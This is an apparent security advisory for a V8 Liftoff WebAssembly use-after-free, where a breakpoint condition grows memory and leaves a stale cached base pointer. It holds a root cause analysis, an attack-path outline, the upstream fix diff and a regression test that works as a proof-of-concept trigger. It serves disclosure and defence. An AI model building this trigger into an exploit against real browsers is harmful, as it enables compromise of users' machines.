CVE-2026-17920
Overview
Background
- Liftoff
- V8’s baseline WebAssembly compiler that emits machine code quickly, caching hot values such as the memory start address in registers for performance.
- Cached memory start
- the base address of a Wasm linear memory that Liftoff keeps in a register (
cached_mem_start) instead of reloading it from the instance on every access. - Out-of-line (OOL) code
- cold code stubs (e.g. for stack checks, tier-up checks, and breakpoints) branched to from the main body, after which execution resumes with the previously cached register state.
- `memory.grow`
- a Wasm operation that can reallocate and move the backing store of a linear memory, invalidating any previously cached memory start pointer.
Root Cause Analysis
Liftoff caches the linear memory base in cached_mem_start and reuses it across memory accesses without reloading it from WasmTrustedInstanceData. When control flow enters out-of-line code for a stack check, tier-up check, or (crucially) a debugging breakpoint, that OOL path can run arbitrary logic — a breakpoint condition, for instance — that triggers memory.grow, which reallocates and moves the memory’s backing store and frees the old buffer. The prior code in LiftoffAssembler::MoveToReturnLocations-style restoration only reloaded cached_instance_data, never cached_mem_start, so after returning inline the code continued using a stale base pointer into the freed allocation.
The fix threads cached_mem_start and cached_mem_index through the OutOfLineCode::StackCheck and OutOfLineCode::TierupCheck records and introduces LiftoffAssembler::RestoreCachedRegisters (backed by LiftoffAssembler::LoadMemoryStart) to reload the memory start from the instance after any operation that might move memory. Loading from the instance rather than pushing/popping avoids special-casing non-movable shared memory while guaranteeing the register reflects the current, live buffer.
memory.grow, leaving a dangling pointer to a freed backing store; the fix propagates cached_mem_start/cached_mem_index into the OOL records and reloads the memory start via RestoreCachedRegisters.Attack Path
- Set up a movable memory
Load a Wasm module that owns a growable (non-shared) linear memory whose base address Liftoff will cache in
cached_mem_start. - Force an out-of-line detour Reach an OOL path via a debugging breakpoint (or a stack/tier-up check) whose associated condition executes attacker-influenced code.
- Grow the memory
From within that OOL path, invoke
memory.grow, causing the backing store to be reallocated and moved and the old buffer to be freed. - Resume with a stale base
Return to inline Liftoff code, which reloads only the instance data and keeps the now-dangling
cached_mem_startpointing at the freed allocation. - Read/write through the dangling pointer Perform subsequent Wasm memory accesses that dereference the stale base, yielding a use-after-free on freed heap memory.
Impact Assessment
memory.grow.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/wasm/baseline/liftoff-assembler-inl.h |
modified | |
ifsrc/wasm/baseline/liftoff-assembler.cc |
modified |
Files Changed
src/wasm/baseline/liftoff-assembler-inl.hsrc/wasm/baseline/liftoff-assembler.ccsrc/wasm/baseline/liftoff-assembler.hsrc/wasm/baseline/liftoff-compiler.cc
Audit Directions
- Cached-register invalidation across cold pathsAudit every register Liftoff caches (memory start, instance data, table bases) for reload-after-side-effect wherever OOL code, breakpoints, or runtime calls can re-enter engine logic.
- memory.grow reentrancyTrace all sites where attacker-influenced code can execute between caching a linear-memory base and its next use, especially debugger callbacks, stack checks, and tier-up transitions.
- Save/restore coverage completenessVerify that every field added to structures like
OutOfLineCodeis consistently populated, propagated, and honored by the restoration routine, since a missing field silently reuses stale state.
Patch
From 3b8a85d10a8aa1e044938529e7a9fa64f822f6bb Mon Sep 17 00:00:00 2001
From: Clemens Backes <clemensb@chromium.org>
Date: Wed, 03 Jun 2026 13:32:01 +0200
Subject: [PATCH] [wasm] Reload cached memory start in out-of-line code
In Liftoff, the memory start address is often cached in a register for
performance. However, operations like memory.grow can move the memory,
invalidating this cached address. This is particularly problematic
during debugging, where breakpoint conditions might trigger memory
growth.
This CL ensures that the cached memory start register is reloaded after
any operation that might move memory, specifically during breakpoints,
stack checks, and tier-up checks.
As shared memory can never move, we could still push and pop the memory
start, but loading it from the instance avoids special code for
(non-movable) shared memory and saves a push / store to the stack.
R=mliedtke@chromium.org
Fixed: 513413942
Change-Id: I901d7dbed94919cc1009b6bcea2bf28772bb6595
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7864144
Reviewed-by: Matthias Liedtke <mliedtke@chromium.org>
Commit-Queue: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107748}
---
diff --git a/src/wasm/baseline/liftoff-assembler-inl.h b/src/wasm/baseline/liftoff-assembler-inl.h
index 70d006e..6c2d9ee 100644
--- a/src/wasm/baseline/liftoff-assembler-inl.h
+++ b/src/wasm/baseline/liftoff-assembler-inl.h
@@ -310,6 +310,44 @@
#endif // V8_TARGET_ARCH_32_BIT
+void LiftoffAssembler::LoadMemoryStart(Register dst, Register instance_data,
+ int mem_index) {
+ if (mem_index == 0) {
+ LoadFromInstance(dst, instance_data,
+ WasmTrustedInstanceData::kMemory0StartOffset,
+ sizeof(size_t));
+ } else {
+ LoadProtectedPointer(
+ dst, instance_data,
+ WasmTrustedInstanceData::kProtectedMemoryBasesAndSizesOffset);
+ int buffer_offset = OFFSET_OF_DATA_START(TrustedFixedAddressArray) -
+ kHeapObjectTag + kSystemPointerSize * mem_index * 2;
+ LoadFullPointer(dst, dst, buffer_offset);
+ }
+}
+
+void LiftoffAssembler::RestoreCachedRegisters(Register instance_data,
+ bool reload_instance_data,
+ Register mem_start,
+ bool reload_mem_start,
+ int mem_index) {
+ if (reload_mem_start && instance_data == no_reg) {
+ // If there is no instance data available, load it first into the mem_start
+ // register.
+ DCHECK(!reload_instance_data);
+ instance_data = mem_start;
+ reload_instance_data = true;
+ }
+ if (reload_instance_data) {
+ DCHECK_NE(no_reg, instance_data);
+ LoadInstanceDataFromFrame(instance_data);
+ }
+ if (reload_mem_start) {
+ DCHECK_NE(no_reg, mem_start);
+ LoadMemoryStart(mem_start, instance_data, mem_index);
+ }
+}
+
// End of the partially platform-independent implementations of the
// platform-dependent part.
// =======================================================================
diff --git a/src/wasm/baseline/liftoff-assembler.cc b/src/wasm/baseline/liftoff-assembler.cc
index 9fae7fe..7124ca0 100644
--- a/src/wasm/baseline/liftoff-assembler.cc
+++ b/src/wasm/baseline/liftoff-assembler.cc
@@ -611,33 +611,9 @@
// Now execute stack transfers and register moves/loads.
parallel_move.Execute();
- if (reload_instance_data) {
- LoadInstanceDataFromFrame(target.cached_instance_data);
- }
- if (reload_mem_start) {
- // {target.cached_instance_data} already got restored above, so we can use
- // it if it exists.
- Register instance_data = target.cached_instance_data;
- if (instance_data == no_reg) {
- // We don't have the instance data available yet. Store it into the target
- // mem_start, so that we can load the mem0_start from there.
- instance_data = target.cached_mem_start;
- LoadInstanceDataFromFrame(instance_data);
- }
- if (target.cached_mem_index == 0) {
- LoadFromInstance(target.cached_mem_start, instance_data,
- WasmTrustedInstanceData::kMemory0StartOffset,
- sizeof(size_t));
- } else {
- LoadProtectedPointer(
- target.cached_mem_start, instance_data,
- WasmTrustedInstanceData::kProtectedMemoryBasesAndSizesOffset);
- int buffer_offset = OFFSET_OF_DATA_START(ByteArray) - kHeapObjectTag +
- kSystemPointerSize * target.cached_mem_index * 2;
- LoadFullPointer(target.cached_mem_start, target.cached_mem_start,
- buffer_offset);
- }
- }
+ RestoreCachedRegisters(target.cached_instance_data, reload_instance_data,
+ target.cached_mem_start, reload_mem_start,
+ target.cached_mem_index);
}
void LiftoffAssembler::Spill(VarState* slot) {
diff --git a/src/wasm/baseline/liftoff-assembler.h b/src/wasm/baseline/liftoff-assembler.h
index dc3fb82..5f28998 100644
--- a/src/wasm/baseline/liftoff-assembler.h
+++ b/src/wasm/baseline/liftoff-assembler.h
@@ -695,6 +695,12 @@
inline void CheckStackShrink();
inline void LoadConstant(LiftoffRegister, WasmValue);
inline void LoadInstanceDataFromFrame(Register dst);
+ inline void LoadMemoryStart(Register dst, Register instance_data,
+ int mem_index);
+ inline void RestoreCachedRegisters(Register instance_data,
+ bool reload_instance_data,
+ Register mem_start, bool reload_mem_start,
+ int mem_index);
inline void LoadTrustedPointer(Register dst, Register src_addr, int offset,
IndirectPointerTag tag);
inline void LoadFromInstance(Register dst, Register instance, int offset,
diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc
index 5f8fefb..a61c1ed 100644
--- a/src/wasm/baseline/liftoff-compiler.cc
+++ b/src/wasm/baseline/liftoff-compiler.cc
@@ -712,6 +712,8 @@
WasmCodePosition position;
LiftoffRegList regs_to_save;
Register cached_instance_data{no_reg};
+ Register cached_mem_start{no_reg};
+ int cached_mem_index{-1};
OutOfLineSafepointInfo* safepoint_info;
// These two pointers will only be used for debug code:
SpilledRegistersForInspection* spilled_registers;
@@ -736,6 +738,7 @@
static OutOfLineCode* StackCheck(
Zone* zone, ZoneVector<OutOfLineCode*>* list, WasmCodePosition pos,
LiftoffRegList regs_to_save, Register cached_instance_data,
+ Register cached_mem_start, int cached_mem_index,
SpilledRegistersForInspection* spilled_regs,
OutOfLineSafepointInfo* safepoint_info,
DebugSideTableBuilder::EntryBuilder* debug_sidetable_entry_builder) {
@@ -748,6 +751,8 @@
ool->position = pos;
ool->regs_to_save = regs_to_save;
ool->cached_instance_data = cached_instance_data;
+ ool->cached_mem_start = cached_mem_start;
+ ool->cached_mem_index = cached_mem_index;
ool->safepoint_info = safepoint_info;
ool->spilled_registers = spilled_regs;
ool->debug_sidetable_entry_builder = debug_sidetable_entry_builder;
@@ -757,6 +762,7 @@
static OutOfLineCode* TierupCheck(
Zone* zone, ZoneVector<OutOfLineCode*>* list, WasmCodePosition pos,
LiftoffRegList regs_to_save, Register cached_instance_data,
+ Register cached_mem_start, int cached_mem_index,
SpilledRegistersForInspection* spilled_regs,
OutOfLineSafepointInfo* safepoint_info,
DebugSideTableBuilder::EntryBuilder* debug_sidetable_entry_builder) {
@@ -765,6 +771,8 @@
ool->position = pos;
ool->regs_to_save = regs_to_save;
ool->cached_instance_data = cached_instance_data;
+ ool->cached_mem_start = cached_mem_start;
+ ool->cached_mem_index = cached_mem_index;
ool->safepoint_info = safepoint_info;
ool->spilled_registers = spilled_regs;
ool->debug_sidetable_entry_builder = debug_sidetable_entry_builder;
@@ -1042,11 +1050,15 @@
if (!v8_flags.wasm_stack_checks) return;
LiftoffRegList regs_to_save = __ cache_state()->used_registers;
- // The cached instance data will be reloaded separately.
+ // The cached instance data and memory start will be reloaded separately.
if (__ cache_state()->cached_instance_data != no_reg) {
DCHECK(regs_to_save.has(__ cache_state()->cached_instance_data));
regs_to_save.clear(__ cache_state()->cached_instance_data);
}
+ if (__ cache_state()->cached_mem_start != no_reg) {
+ DCHECK(regs_to_save.has(__ cache_state()->cached_mem_start));
+ regs_to_save.clear(__ cache_state()->cached_mem_start);
+ }
SpilledRegistersForInspection* spilled_regs = nullptr;
OutOfLineSafepointInfo* safepoint_info =
Regression Test / PoC
diff --git a/test/mjsunit/regress/wasm/regress-513413942.js b/test/mjsunit/regress/wasm/regress-513413942.js
new file mode 100644
index 0000000..fbff72e
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-513413942.js
@@ -0,0 +1,71 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --enable-inspector --allow-natives-syntax --no-wasm-tier-up
+// Flags: --no-wasm-trap-handler --stress-wasm-memory-moving
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+let wasmScriptId = null;
+let instance = null;
+
+globalThis.receive = function(m) {
+ let msg = JSON.parse(m);
+ if (msg.method === 'Debugger.scriptParsed') {
+ if (msg.params.url && msg.params.url.startsWith('wasm://')) {
+ wasmScriptId = msg.params.scriptId;
+ }
+ }
+};
+
+globalThis.handleInspectorMessage = function() {
+ send(JSON.stringify({id: 100, method: 'Debugger.resume'}));
+};
+
+const builder = new WasmModuleBuilder();
+builder.addMemory(1, 1000);
+builder.exportMemoryAs('memory', 0);
+
+const body = [
+ ...wasmI32Const(0),
+ kExprI32LoadMem, 0, 0,
+ kExprDrop,
+ kExprNop,
+ ...wasmI32Const(0),
+ ...wasmI32Const(123),
+ kExprI32StoreMem, 0, 0,
+];
+
+const target = builder.addFunction('target', kSig_v_v)
+ .addBody(body)
+ .exportFunc();
+
+const module_bytes = builder.toBuffer();
+const nop_offset = target.body_offset + 6;
+
+send(JSON.stringify({id: 1, method: 'Debugger.enable'}));
+const module = new WebAssembly.Module(module_bytes);
+instance = new WebAssembly.Instance(module);
+globalThis.instance = instance;
+globalThis.grown = false;
+
+const condition = `(function() {
+ if (!globalThis.grown) {
+ globalThis.instance.exports.memory.grow(1);
+ globalThis.grown = true;
+ return true;
+ }
+ return false;
+})()`;
+
+send(JSON.stringify({
+ id: 2,
+ method: 'Debugger.setBreakpoint',
+ params: {
+ location: {scriptId: wasmScriptId, lineNumber: 0, columnNumber: nop_offset},
+ condition: condition
+ }
+}));
+
+instance.exports.target();